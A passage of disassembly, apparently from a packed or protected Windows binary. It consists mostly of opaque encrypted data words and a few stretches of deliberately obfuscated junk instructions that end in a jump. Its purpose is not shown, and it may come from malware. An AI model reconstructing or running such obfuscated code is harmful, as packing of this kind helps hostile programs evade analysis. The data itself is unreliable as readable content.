		dd 0FD8B2B88h, 0E2BA390Bh, 64FCC03h, 0A1AB076Bh, 4F238F2Eh
		dd 0C9651445h, 82B32163h, 0F8CF8A6h, 857F2BC6h,	31FFA150h
		dd 11B112C1h, 67299167h, 0F7DC311h, 5EDD12DCh, 0BA167A17h
		dd 0FA7375D6h, 88CF015Fh, 0B61579D5h, 4E8E40EEh, 0CA6905A9h
		dd 14017h, 0F7394E00h, 8035BA7Fh, 4494FECh, 3DA7F955h
		dd 5666B58Fh, 33900817h, 0BC10C735h, 5666F2CAh,	4B53817h
		dd 8D58A1A8h, 12B83AD3h, 0FC911611h, 9EBF0D5Fh,	2D12BA53h
		dd 0FD1D86B5h, 5BF3E223h, 7868Ah, 24DB1D00h, 90458A70h
		dd 18BD3EC4h, 9643B64Ch, 19BA38C2h, 186AEB4Dh, 976D39DAh
		dd 12E8BC5Fh, 93693DE2h, 41EBBF5Ah, 578B61D3h, 72FE1D46h
		dd 49E86DDBh, 0F998D917h, 3A9A3955h, 784CFE64h,	0CB175667h
		dd 84F6F053h, 0FB7983D7h, 0A2D41A44h, 0F00A52F1h, 853ABA7Dh
		dd 77294529h, 67655FEDh, 40D81756h, 1141BBE3h, 17D53C62h
		dd 73D1BAB5h, 247ADA79h, 4CF763EAh, 0F9E83F27h,	0E62CEA2h
		dd 7427ABADh, 0E02E70D8h, 2C6ECD6Eh, 0A277FBC0h, 4C208C31h
		dd 41B07E20h, 0DF6B3390h, 340F2929h, 755h, 90B60C00h, 0EF000000h
		dd 1749E86Dh, 67453F8Dh, 20B81756h, 63552383h, 0AB175677h
		dd 0D6DC7023h, 0F65EF29Fh, 79294CB8h, 0CF0695C7h, 3BB27C22h
		dd 9F653D9Eh, 6016BA5Dh, 1756578Fh, 6D13FAB4h, 0C3AC54E2h
		dd 4FBDFF5Ch, 0FF9CD21Ch, 0C6353F53h, 74D7BB17h, 95D0272h
		dd 48EF6D50h, 0C96EEEE4h, 5183CD65h, 3E36841Eh,	0B1175667h
		dd 508C8A29h, 857DFBAFh, 0AE17566Fh, 0E51AD7B3h, 0A567EC02h
		dd 0FB2BA68Bh, 0F29BDFB3h, 18340D5Ah, 0FFFFFE8Ah, 372B641h
		dd 6DEF0000h, 0D91749E8h, 2448E49Bh, 4F512787h,	7F175667h
		dd 2F05B72Dh, 0AB175667h, 56672319h, 790E9617h,	0D40042E1h
		dd 0B7E38EC7h, 0C569084Dh, 7120559Bh, 6812B1DDh, 17566788h
		dd 3EDF1CD2h, 5B5DFE92h, 0DE75512h, 60175667h, 313894F8h
		dd 0F1431DE8h, 12B98CD4h, 0A253844Ah, 248829A8h, 890EB48h
		dd 24C4CC3Bh, 1D078E2h,	5DFh, 1541F67Ah, 0E1B568EFh, 7125D81Bh
		dd 0FFAB468Bh, 7226D505h, 0A92955D4h, 32A45E0Ah, 0AD2FD581h
		dd 31A45E0Ah, 0EC7ED480h, 4659665Eh, 0FC55D91Dh, 353ED039h
		dd 0B6BBDC9Bh, 3FDA1315h, 9024CD93h, 0BA979DEh,	31E46B61h
		dd 5452F19Dh, 8F217526h, 0C2611041h, 0B4E091C4h, 0C36F0C4Eh
		dd 0B4EA89C9h, 0B220F37Ah, 0ADC1AD01h, 6ECE6D01h, 255698C6h
		dd 13B0DC70h, 66942351h, 8F02EBB5h, 6E05160Dh, 0BA0E56F5h
		dd 340E8CCEh, 2773Eh, 276E6700h, 7A94E24Eh, 2E9B898h, 23D5204Ch
		dd 58351F3Eh, 14B76496h, 25B4Dh, 0F7391400h, 177BD782h
		dd 0FF74B1B4h, 0EAB4D87Bh, 56676458h, 0E34FD717h, 0B8987995h
		dd 1F4D03E9h, 1F3E22D6h, 2325235h, 6E0B0000h, 0AAB2827h
		dd 0DAE7CAA6h, 0BF48ADCFh, 62D08EE2h, 17575186h, 47739D0h
		dd 4669BE52h, 0F3609EE5h, 96EAC270h, 0C55D1756h, 1F69C5A9h
		dd 0E9B8C8FFh, 4C99CB85h, 351F6EBCh, 1F3C8h, 276E9100h
		dd 0C2A2104Eh, 35175666h, 67572D9Fh, 32AA1756h,	62ACF25Eh
		dd 0B0410DF1h, 0C6682A68h, 0C96A06AAh, 0B8A893B3h, 0F56729E9h
		dd 1F4E20E8h, 1BE6C35h,	2BC20000h, 0AF0DE2AAh, 949433Ch
		dd 6D6CC96Ah, 0F3C97BE8h, 6F175666h, 5666E7DDh,	0B5C25A17h
		dd 0FB57024Bh, 3B97FB97h, 431DBC31h, 0DB90F2AAh, 0B31087FEh
		dd 0C0712EBh, 5724C6BEh, 0CDA13917h, 33F62193h,	51C912BDh
		dd 0A34AA3FDh, 370D0A04h, 4C3C46E5h, 0B4116CCCh, 0B5438AFAh
		dd 0C12E24A2h, 47h, 90D03998h, 4C2D39ECh, 0C96CEFE5h, 431A6F6Ah
		dd 0C4B4AF1Dh, 0B94712BCh, 72A8635h, 0D25EFD4Fh, 3A563ADCh
		dd 6A10E096h, 2668116Ch, 3BD9AFB6h, 0E2252E24h,	8B000000h
		dd 0FB96DF11h, 774D3B57h, 0CA116C5Eh, 6D54F152h, 0BBE549E8h
		dd 66999321h, 74EC1756h, 65A4982Ah, 8F171756h, 0BA82A2Ch
		dd 8928ADA7h, 45B57B25h, 0F5563A96h, 8BDF7AF3h,	5661EA0Dh
		dd 8C2DA017h, 5F003BD2h, 0CD13258Bh, 0BACF366Eh, 0E927BDE3h
		dd 106AC968h, 12BA0482h, 8FA8E831h, 13B37701h, 75BB217Fh
		dd 92FE5201h, 76C33731h, 0F6FC5005h, 177BD784h,	0D349177Bh
		dd 69518B61h, 0C566FE11h, 41DA339Dh, 164588A6h,	4A888E2Dh
		dd 8D359AA9h, 7BD3E222h, 366AAh, 0C47BFD00h, 30E56A90h
		dd 0B85D9E64h, 36E316ECh, 0B95A9862h, 0B8CA4BEDh, 37CD993Ah
		dd 0B2481CBFh, 33C99D42h, 0E14B1FBAh, 5AEBC173h, 0D25E1D46h
		dd 4EED6D7Bh, 4F5DB41Ah, 63AD826Eh, 5D909635h, 0F0FA97DAh
		dd 0EBBFD384h, 11A339B2h, 1756671Bh, 66FFF547h,	0EA721756h
		dd 0A0A6059Dh, 2A208C2Dh, 0CAADB7A3h, 1EB3721Ch, 0CFA02672h
		dd 5C17574Ch, 9C2E704Dh, 12BD6373h, 8600DF06h, 4195A94Bh
		dd 989A732Dh, 0F440318Eh, 0A8F1A90Ah, 0E549E86Dh, 2DAD66EFh
		dd 444E228Eh, 0A6CA6617h, 12679ECAh, 78A7154Bh,	4B12BC75h
		dd 37097FD3h, 81116C53h, 32E111DFh, 1EACF29Eh, 116C5326h
		dd 0E0A20199h, 299F6974h, 2DEF2E24h, 0B6000000h, 0B2241B6Eh
		dd 81336D01h, 12BC488Ah, 7F09A53Dh, 116C3889h, 24BB9F7h
		dd 2E240A76h, 6E11438Dh, 36A4AEC2h, 0C87F2685h,	26000000h
		dd 0E17BE86Dh, 56675953h, 4234AC17h, 1756676Ah,	852945DDh
		dd 8DCE4B8Fh, 442844E8h, 0CE6BE2E8h, 0D8E67990h, 7B56034Ah
		dd 0AC81C149h, 47776D9Ah, 74D4772Dh, 0E5AF77Eh,	56D56788h
		dd 3CBD7317h, 0B5383E9Dh, 23AA5004h, 0C6D3DA76h, 7413A1FFh
		dd 712BCD0h, 0AB65CB9Fh, 4B278B26h, 0CDCDA715h,	0B820116Ch
		dd 320B1E1Bh, 200EDE6Ch, 79E10CD1h, 0CA69E927h,	7CFE309Eh
		dd 0F3A2D5DFh, 9690335Fh, 3984B764h, 0D3E80B51h, 1E1AA7Bh
		dd 0F8780000h, 66E91347h, 0DA19E3B7h, 64956F3Bh, 0D71BE1B5h
		dd 57D67024h, 5C08AB2Fh, 0D78330A6h, 5C08AF2Dh,	0D6822FA6h
		dd 685CEE7Ch, 0DB1D465Dh, 0ED6DFE57h, 6DE01A4Eh, 6EC198CCh
		dd 0AE1C421Bh, 12BC48B5h, 0A7CD048h, 116C3836h,	0DD12DC82h
		dd 0E0D46638h, 53116C37h, 0BA2A68CBh, 2409C5B3h, 0CE312Eh
		dd 6D680000h, 0EFE549E8h, 7F96C86Bh, 2DF47205h,	9B36BBC9h
		dd 82F454F7h, 1757525Dh, 5709A82Dh, 0AEA45B99h,	722A892Eh
		dd 337D35DCh, 0DB375D4Ch, 2448E497h, 0D0A41648h, 231756CBh
		dd 0D71E18BBh, 8A9F963Ah, 0C05FEDB3h, 7312BCC7h, 8B11BFEBh
		dd 6CC54339h, 8D2EB611h, 0FAA48188h, 0D11B3B48h, 0C130CE0Ch
		dd 0E99C9022h, 77EF0B7Fh, 0E729771Bh, 3A94C073h, 0EA9D7AD3h
		dd 7519B56Ah, 0A45E6C58h, 1C54B589h, 51F2AE1Eh,	43702357h
		dd 0E80B4C0Ah, 0E867B61Eh, 63000000h, 0E41E4AEDh, 6C96C273h
		dd 0E01A4EEFh, 6E94C071h, 0BD1B4FECh, 6714463Ch, 0D685C933h
		dd 5BFC7882h, 0D180F50Fh, 0FBD2F85h, 1D465E35h,	6DAD0488h
		dd 0E01A4EEDh, 0C198CC6Dh, 0DC7FF739h, 47F47A70h, 48EB87EBh
		dd 0D00C074Eh, 76B0A49h, 88CDC76Bh, 3544BDE9h, 8D843668h
		dd 3C12B98Ch, 985608A4h, 423A885Bh, 0B511667Ch,	0E4E2412Dh
		dd 6E94C071h, 90E64AE7h, 2BFF859Ah, 52699B91h, 0D02A7E1Bh
		dd 4BA2FC9Dh, 46880021h, 218122AAh, 0C04B967Fh,	0DB772655h
		dd 0CF559AB7h, 59989E3Dh, 0D81E14B8h, 5A9D973Bh, 0FB4917BBh
		dd 0EAAD0201h, 446EC74h, 5BF5A5D8h, 0FB9A01B2h,	0AD3A7349h
		dd 735EC6EAh, 73D0142Eh, 49A0C331h, 4142D2E7h, 0C0AA9F4h
		dd 0B87628C9h, 478F8536h, 956F3794h, 0CC1DB160h, 3, 6DA50895h
		dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh
		dd 208A457h, 848E22CFh,	0AA657h, 0E9822ECFh, 81E18951h
		dd 4C1h, 4E98300h, 8B240C87h, 89532424h, 4C381E3h, 83000000h
		dd 1C8704EBh, 0C895C24h, 2206824h, 4890000h, 0A8BF5724h
		dd 89655D6Dh, 81415FF9h, 927D9FC1h, 4EC83A0h, 81242489h
		dd 42404h, 51580000h, 11240481h, 8F508E5Ah, 0BD550840h
		dd 353447F3h, 658EF581h, 0E5C102C7h, 0FAE58102h, 810D105Bh
		dd 6533E6E5h, 4DF58121h, 81139901h, 175ABCF5h, 8682942h
		dd 2434FF5Dh, 4C48158h,	8B000000h, 8950240Ch, 405E0h, 4050000h
		dd 87000000h, 0E95C2404h, 0FFFA85BAh, 9A16C87Fh, 332F59DDh
		dd 0F81BB85Eh, 0C50305EFh, 0E954E0FFh, 3B664FEh, 138804A4h
		dd 2DFC5953h, 0C06D7E44h, 0D0B02748h, 84CD5D11h, 1810399h
		dd 130F6E63h, 21274585h, 0E4AA7ADFh, 699E0B8Dh,	2C7F3907h
		dd 17411E40h, 0FCA0699Ah, 0A2BB46F2h, 18927CB0h, 2C836186h
		dd 50B22544h, 0A1AE5F3Fh, 0BA393BBEh, 92D66A8Fh, 2CD70168h
		dd 9574FB2h, 4E9060DBh,	8D8D01D7h, 5EFFA5Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AC35141h, 5A78EAA0h
		dd 1E759D2Bh, 8D8905EAh, 5EA0ADDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0B2C35141h,	8ACA3677h, 85C79D7Fh
		dd 5EA0ACDh, 5BFCh, 18359D23h, 85C705EAh, 5EA25F5h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D6C35141h
		dd 6686192Dh, 0DF7BC081h, 16D59531h, 0B5FF05EAh, 5EA1189h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FDC35141h
		dd 0E1738149h, 6A4D5212h, 0E8606094h, 11h, 4A2831EDh, 2E3F743Eh
		dd 52FE7A6Dh, 59F343E1h, 31615A75h, 0EA2BC18Dh,	6E86105h
		dd 0CF000000h, 4124D77Dh, 0B315BA9Fh, 0FF5831A3h, 0EA2A1995h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 2FCDBE74h, 0E09B0A27h, 0C880D93Dh, 0FF006A33h
		dd 0EA101595h, 0EBC08B05h, 0E26EF278h, 0C9CB43B9h, 0E4896FC0h
		dd 0AF6FB615h, 0ABE0F926h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh
		dd 34F8C2D3h, 99136C6Eh, 8A99E72Eh, 30CD79ECh, 5DB0DD3Bh
		dd 0FFCE8C56h, 23B868CEh, 2D930AAFh, 209F7F4h, 0CD87F5D1h
		dd 1B250D7Eh, 0E3083CE7h, 1C5F9E8Ah, 10A8054Ch,	0F51CB6B0h
		dd 6CF2B1E4h, 0ED8028B7h, 6492C2DDh, 0B12B3DAAh, 3E5FB06Fh
		dd 0FD57BAB7h, 3A03C121h, 24EB5Dh, 8 dup(0)
		dd 0E9000000h, 0BDh, 0FADEB589h, 858B05EFh, 5EA02D1h, 2329858Bh
		dd 0B58D05EAh, 5EFFB28h, 7A61858Dh, 0D0FF05EDh,	0E855C3h
		dd 5D000000h, 0FB2EED81h, 0BD8305EFh, 5EA02D1h,	2C850F01h
		dd 0FF000000h, 0EFFADEB5h, 29858B05h, 3505EA23h, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 0E2B58D1Ch, 5605EFFAh, 0FADEB5FFh, 858B05EFh
		dd 5EA2329h, 81273635h,	83D0FF34h, 0B58D0CC4h, 5EFFAE2h
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	0EA02D1BDh, 850F0105h, 7, 2E9C35Dh
		dd 5D000000h, 7858DCFh,	8905EFFBh, 0EA318585h, 98E905h
		dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 6EFE0000h, 8E90DF3h,	6800000Bh, 5EFFE03h, 0FA81FDE9h
		dd 0FEEE68FFh, 0F3E905EFh, 68FFFA81h, 5EFFFC8h,	0FA81E9E9h
		dd 4168FFh, 0DFE905F0h,	68FFFA81h, 5F00171h, 0FA81D5E9h
		dd 1D768FFh, 0CBE905F0h, 68FFFA81h, 5F00514h, 0FA81C1E9h
		dd 61F68FFh, 0B7E905F0h, 0AFFFFA81h, 0D8227629h, 48B2E697h
		dd 0C43E6A0Bh, 4AB0E495h, 993F6B08h, 4BE86A18h,	0C271E51Fh
		dd 4FF06C96h, 0CD6CE11Bh, 13A13399h, 1D466319h,	6D49E06Ch
		dd 0EFE549E8h, 669FCB66h, 8E144A13h, 9973CE67h,	7DDE0F34h
		dd 0BCA7D807h, 9F33AB12h, 6C8517E9h, 7DDF1711h,	5ED93372h
		dd 74D8B44Dh, 0BE3CF77Eh, 8DDD711Dh, 0AADDC133h, 3EBF2149h
		dd 54B375Bh, 95FA8ED7h,	0CF012E24h, 2E77D487h, 41h, 6E0B4E80h
		dd 0A80DAEC2h, 9385F739h, 534B2400h, 74D7BB94h,	35D2871h
		dd 4AE988CDh, 12B1AA18h, 0DC4412BDh, 2320670h, 0C08E116Dh
		dd 0D4BF4994h, 2DC42E24h, 930454B5h, 85DC7FB2h,	0C0h, 8E86DDCh
		dd 13672E4Ah, 5A96BBD4h, 984E63B3h, 9A903C50h, 84C2FA58h
		dd 19B28A38h, 9D051757h, 0EFE623B0h, 0B0252F83h, 77C55F01h
		dd 17571E7Dh, 6BCB68F0h, 194DEC61h, 5719F29Fh, 0BE79FC17h
		dd 5A369A37h, 2CC6236h,	0B1242ECBh, 30A5A300h, 0D5242D81h
		dd 5BE45608h, 0EE12BD1Eh, 0CEDB2276h, 0F01BA9F7h, 830CD15Fh
		dd 478B451Bh, 0B83AC094h, 375BFA7Dh, 0B1CFF04h,	6CBD15E8h
		dd 8C7h, 6135EA6Eh, 0F5A1549Bh,	7D29CC0Fh, 0F3A75287h
		dd 7E2AC909h, 0B52559D8h, 26A85206h, 99DB2175h,	548B2E6h
		dd 38AA0054h, 4664B28Ah, 2089051Dh, 570FED6Dh, 283C66F0h
		dd 0EF4A0CCh, 277E2AC7h, 1C421B6Eh, 0BC48B5AEh,	7CD04812h
		dd 6C38360Ah, 12DC8211h, 641558DBh, 0C2C8A4C8h,	2E42EE8Bh
		dd 509DCF8Dh, 2E240AA8h, 31E011DFh, 7B71C39Dh, 0CE116C2Ch
		dd 0E173A56h, 8689B98Eh, 0A8BBE241h, 0E2000000h, 0E549E86Dh
		dd 64C86BEFh, 56636712h, 37E26B17h, 0E557CD63h,	1756630Fh
		dd 5EB17338h, 641368FBh, 14595FFCh, 0B9C0C965h,	7700B2ECh
		dd 2312BC0Bh, 5528FCCAh, 0D419A793h, 91EA4925h,	55A45D09h
		dd 7064D688h, 30CD09Bh,	0C70BC59Bh, 74EE4014h, 7F6AEEC6h
		dd 7AD9410Bh, 6E5DFE7Ch, 0E80BDF6Bh, 0DC08D971h, 83000007h
		dd 4FEAA4Dh, 8C7622D3h,	0FAAE4Fh, 8E7420D1h, 5DFBAF4Ch
		dd 8734A6DCh, 0F6A529D3h, 7B1C58A2h, 0F1A0D52Fh, 2F9D0FA5h
		dd 1D466555h, 398D24A8h, 71DD80F7h, 3AB8BE1Dh, 0BE37CD99h
		dd 6D1E4713h, 0EFE549E8h, 669FCB66h, 0A6144A13h, 12B99D7Dh
		dd 78B6E870h, 4C9F76F5h, 93A90F18h, 2D3D3741h, 28B01167h
		dd 0E961044h, 4811672Ch, 2C8C60D2h, 67FF1167h, 0E9C4C1C4h
		dd 5BFA79B7h, 5E919BF7h, 0F7441CBFh, 162E7BE2h,	0E13FBA8Eh
		dd 0EF8ACFD9h, 3B1EF83h, 0CCD0D68h, 0A319C35Bh,	78C5078Ch
		dd 732DF801h, 19C362C1h, 134DD573h, 56FA99DDh, 3039993Ah
		dd 0F0421CE9h, 6D2F23A0h, 0DB154BD3h, 77B9E792h, 93FF53FEh
		dd 5B926830h, 38948DBEh, 0C06887AFh, 70211h, 8C33A500h
		dd 8AD22D8h, 8035A65Ch,	0EAB2ED4h, 8132A05Ah, 0B0F273D5h
		dd 3FC59142h, 0AA5004B7h, 0DB21752Ah, 19B3E792h, 6643398Bh
		dd 3AB61D46h, 421B6E93h, 9D85AE1Ch, 0E07812B9h,	5EFF70BEh
		dd 644DA40Ah, 0FEF644FFh, 711166C7h, 0A639C4E9h, 0D588CBC1h
		dd 5EFF7076h, 0A275F8F2h, 0C071E42Fh, 0C06C006Ch, 3A582C9Eh
		dd 33AB1167h, 2100335Fh, 0F3E22410h, 6898A5Bh, 0AC2C0000h
		dd 32A55F0Bh, 0AE2DD783h, 30A15B0Fh, 0AB2FD581h, 7BFA5C08h
		dd 4014C70Bh, 0D38734BAh, 0A0F4AB29h, 3266135Ah, 0C4B80A98h
		dd 371D4666h, 1B6E12BBh, 48861C42h, 8D44690Ah, 629B1C1Ah
		dd 85AED477h, 7812B9D4h, 0FE70BEE0h, 6C00B33Bh,	5D0FACC0h
		dd 0EBBF5A93h, 643A1312h, 66A1D2D6h, 11BD2511h,	66A29067h
		dd 0BA579E11h, 38D91C16h, 0A7AC494h, 0ABD997EBh, 1E77D6A2h
		dd 3D262Eh, 6E7F0000h, 8A104E27h, 24025D63h, 9C3F9993h
		dd 57270AE6h, 49E57D17h, 1A54FE17h, 807D5425h, 6C00AC4Dh
		dd 0E7D9A300h, 51175699h, 18E0ED1Fh, 64340E70h,	7, 1F1B63Dh
		dd 24EF0000h, 4E1280Fh,	0F062945Ah, 0F147AAFAh,	0D975193Bh
		dd 0F64416B5h, 12BCAB3Dh, 6CF6A830h, 6C7AE6DEh,	62C15911h
		dd 0DE640EB4h, 0B47AB312h, 34319243h, 0F44618E5h, 5D27AA77h
		dd 16C734CAh, 0CADFD67Ah, 1944ADF3h, 598BA032h,	7CE6B417h
		dd 34983DB2h, 4F81FB58h, 62573CC9h, 0E36AA4FAh,	2CC6236h
		dd 888E2DD2h, 0CAA79445h, 5E9DA192h, 55927F6h, 0DC1C0000h
		dd 62956F3Bh, 0DE1DE7B3h, 60916B3Fh, 0DB1FE5B1h, 4BCA6C38h
		dd 5004B73Bh, 237724AAh, 0B0E49BD9h, 256034Ah, 0B4883AA8h
		dd 71D4667h, 0E86D228Bh, 75BBE549h, 0F6F35007h,	3684DAA3h
		dd 12BC773Dh, 0D27C28B0h, 5702FA48h, 0EE5C116Ch, 116C5716h
		dd 1E86F169h, 8732BBBDh, 1EF2B9B4h, 0ADB73E2h, 4F3h, 0D58136BAh
		dd 0A1F5A82Fh, 3165185Bh, 0BFEB86CBh, 32661545h, 0E9691594h
		dd 72E41E4Ah, 0ED6F95C1h, 71E41E4Ah, 0AC3E94C0h, 4668261Eh
		dd 0BC15991Dh, 0E549E86Dh, 67CB66EFh, 165F91CFh, 5539D81Dh
		dd 743695F9h, 0DE3AB308h, 706D8AECh, 0B9B79A04h, 81BC00A6h
		dd 0C87C2844h, 340F1540h, 454Ch, 1B6E1500h, 0A1AE1C42h
		dd 5412BC7Dh, 0D1C1FA8Dh, 0ED811D79h, 9ED11F41h, 52265CFFh
		dd 0D8116BB3h, 5F55F99Ah, 87D77B16h, 0D6AACB39h, 0B57B6C98h
		dd 0D380F647h, 757F137Fh, 0B8F05302h, 2E2384D0h, 723Ch
		dd 0D0396500h, 50FF6E52h, 0DCD97AE8h, 7C70C2CDh, 0CF175748h
		dd 8C653B57h, 0FC4EAD9Ch, 17573308h, 0DACEE37Bh, 661F3294h
		dd 188D5104h, 3684D675h, 12BC6C61h, 0C8520C94h,	6C5C827Ah
		dd 0CE6DF511h, 85C8069Ch, 0FE7177D4h, 8ACF015Fh, 0BA144CEFh
		dd 5B9A9220h, 75ED116Ch, 5ADBACD6h, 1A53116Ch, 66EF217Fh
		dd 0A80B67CBh, 10C50AF0h, 3DD6DBCh, 6E340000h, 861C421Bh
		dd 9856316Fh, 0E94AC55Eh, 0BCD53493h, 73DF4712h, 0E945F479h
		dd 3880ECE6h, 0DF9B55F1h, 8D21D001h, 0F6CCCE1h,	0CBEE08Ch
		dd 0CD2B6D3h, 0D02A7EE6h, 5950FC9Dh, 992B7550h,	6E89E4Eh
		dd 0E693C608h, 0AA63E45h, 8D21D200h, 87CA4F87h,	462A46EAh
		dd 6490CEEAh, 0ADDF6131h, 9ECA67EEh, 154B1267h,	0CB44668Fh
		dd 0FDE90D15h, 1A96BFD0h, 19BA7BD2h, 0FEB81063h, 17BB2300h
		dd 9539D81Dh, 0B1097BC5h, 71C39D68h, 0FB149502h, 1C519F35h
		dd 0CBBDD17Dh, 0F9C492F1h, 0E4B0DC44h, 963AD71Eh, 11BD5E9Ch
		dd 0D3E8141Eh, 5ABFF9Ah, 73D083CBh, 45A2376h, 93B638EDh
		dd 7954A6A2h, 0FA65C7EEh, 0F1A30054h, 2A5B1443h, 0D37FE7F5h
		dd 49E594D9h, 6535A719h, 0FE174914h, 75F78606h,	6072C4A1h
		dd 351AB39Eh, 0EF5D0FACh, 0EF3FBBC0h, 7122549Ah, 6531A9D2h
		dd 35FA569Fh, 15EC9C6Ah, 666CC0ACh, 0EF1642EFh,	2F9DC39Ah
		dd 0E955BA00h, 0DC356BF3h, 13FCB35Dh, 322FEC9h,	8A15E0ABh
		dd 0D4FBCBE6h, 0E0661852h, 0A395E343h, 6BE8063Ch, 939935E8h
		dd 101FB35Eh, 0B7CBEA1Ah, 0EBC173E9h, 5EE8063Ch, 0B52765C6h
		dd 0BE12E0A8h, 4C2C04h,	18820000h, 634D2AAh, 1EBD25E8h
		dd 421B6EBBh, 48B5AE1Ch, 0D04812BCh, 413408Eh, 0E74B27D8h
		dd 0FE88288Bh, 116C380Ah, 8F23D400h
		dd 93C65785h, 29268AE6h, 0F08CB123h, 642047AEh,	0CB63238Bh
		dd 0B3BA2A68h, 2E23EEC5h, 0D731h, 0E86D6800h, 6BEFE549h
		dd 0E76E64C8h, 69ECE64Ah, 9BD4C189h, 56EA5329h,	133EA617h
		dd 177BCE93h, 0A2558749h, 0D77425A8h, 0D280098Fh, 0FB721756h
		dd 7DF00A5Eh, 307970DCh, 5F910B55h, 0A0DA791Ch,	12BCCD27h
		dd 0EAC270DAh, 5D116CC9h, 4FDA9C5h, 0EC7628F5h,	0A102AF22h
		dd 0D11C09DBh, 0D21BD50Ch, 67FF8427h, 0EE6DA339h, 7EAB5F0Eh
		dd 5C302C98h, 0DA79F9FFh, 5AC9208Eh, 808AF157h,	65959330h
		dd 2BB485B6h, 0E048E80Bh, 1B631h, 40F77900h, 0B469EE14h
		dd 24D91AE0h, 0AA478A70h, 25D604FEh, 2C56D771h,	0A3590DAEh
		dd 26DC882Bh, 0AF5501B6h, 75DF8B26h, 6C5F55E7h,	5ED21D46h
		dd 4EED6DF7h, 0FE6DE01Ah, 0A9AB1E17h, 0AED84E32h, 175669D6h
		dd 36BBB129h, 0FAA3F79Bh, 0C2701B6Eh, 175666EAh, 882BA35Dh
		dd 48244824h, 48AFA416h, 0BC4212BCh, 0ACF29E3Fh, 37B08436h
		dd 9B03116Ch, 1AEE9838h, 66116C38h, 0C7B1BC28h,	372E2409h
		dd 0D0h, 72255799h, 910E265Fh, 288B318Fh, 8E86D8Dh, 0F97B0375h
		dd 0AB86EA46h, 711D8375h, 0F0A3D7DDh, 3E9F2A5Ch, 1A531757h
		dd 6D64D419h, 942D3C30h, 412D81EDh, 3DBD732Dh, 0FD5E329Eh
		dd 7B165FA5h, 0F2CBDED7h, 24811EACh, 0F41D12BDh, 42E1EC18h
		dd 0B0CB68C2h, 5EEC7628h, 116CFE66h, 0BAE241D9h, 316F3643h
		dd 0BE4542ABh, 0EE9AC2ECh, 7D04374Dh, 2FB70CD1h, 983BBF71h
		dd 17C436CCh, 0AFE6524h, 8657FFE8h, 0ABh, 0D59FE72h, 89DD80F7h
		dd 95D0073h, 87D37EF3h,	0A5EFD7Dh, 21512DACh, 9ADC2672h
		dd 2557ADF9h, 99DC2672h, 9406ACF8h, 466D4E26h, 842DA11Dh
		dd 0DD80F739h, 0F1431D71h, 175666FBh, 7375D64Eh, 0F2085CFFh
		dd 0D38ADE7Bh, 0E549E86Dh, 9FCB66EFh, 144A1366h, 0B99B29A6h
		dd 0E844DC12h, 90CE6BE2h, 0D97A175Eh, 47F27B81h, 36E9DEBh
		dd 63791965h, 69E82DADh, 640864C8h, 4507A4C8h, 0CA4D8017h
		dd 2B47EB88h, 31831947h, 963033Bh, 0EDB5168Eh, 9F33DE17h
		dd 19B56495h, 3685F749h, 0BC4612BFh, 0E5349839h, 3, 6DA508BCh
		dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh
		dd 208A457h, 848E22CFh,	0AA657h, 0E9822ECFh, 81E38953h
		dd 4C3h, 4EB8300h, 8B241C87h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		push	ebx
		mov	ebx, 5EFFCC2h
		mov	edi, ebx
		pop	ebx
		mov	eax, edi
		pop	edi
		push	48CDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		push	eax
		sub	dword ptr [esp], 11977E85h
		pop	edx
		add	edx, 11977E85h
		mov	[ecx+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 0D3h, 23h, 0D8h
		dd 0B825A8A0h, 5F006EFh, 0E0FFC503h, 0DAE2705h,	4D1ACDE5h
		dd 6037955Dh, 47EF4979h, 4682787Ch, 311290BDh, 1175BFEFh
		dd 42DE3B9Dh, 0A8913E3h, 5BA40B09h, 3DC33286h, 75858E85h
		dd 23F0D37Bh, 12B372B8h, 5AA99DFCh, 6AA310BDh, 5B573F6Fh
		dd 26EB8AACh, 3E5F3885h, 1DE99139h, 6A8B7F3h, 743D5D6Fh
		dd 190D2402h, 0C99B847h, 438215BBh, 78F911Bh, 409D872Dh
		dd 75E92C8Ch, 2507124Fh, 316A5690h, 5DF8960h, 18D90C9h
		dd 8C88D8Dh, 0B58B05F0h, 5EA1225h, 0ADD8D89h, 0BD3105EAh
		dd 5EA0B81h, 0ACD85C7h,	668005EAh, 840F0000h, 2, 85C731B2h
		dd 5EA25F5h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F7C35747h
		dd 0E91A72FCh, 13h, 5F292FAFh, 3347BB1h, 5910E73Fh, 0C53C2A4h
		dd 0FFB61DEBh, 0EA0BF5B5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E858C319h
		dd 0Eh,	903A1CEDh, 0F3A00965h, 929A9D24h, 8C0F576Ch, 6
		dd 0B5DB589h, 505A05EAh, 5FC28B66h, 2A1995FFh, 8B5005EAh
		dd 6A5BDAh, 101595FFh, 0C08B05EAh, 2EF579EBh, 0E9F2DC0Bh
		dd 0DFDB8F6Eh, 41292981h, 0A16FA8AAh, 0AD80E8CDh, 0BFD479C5h
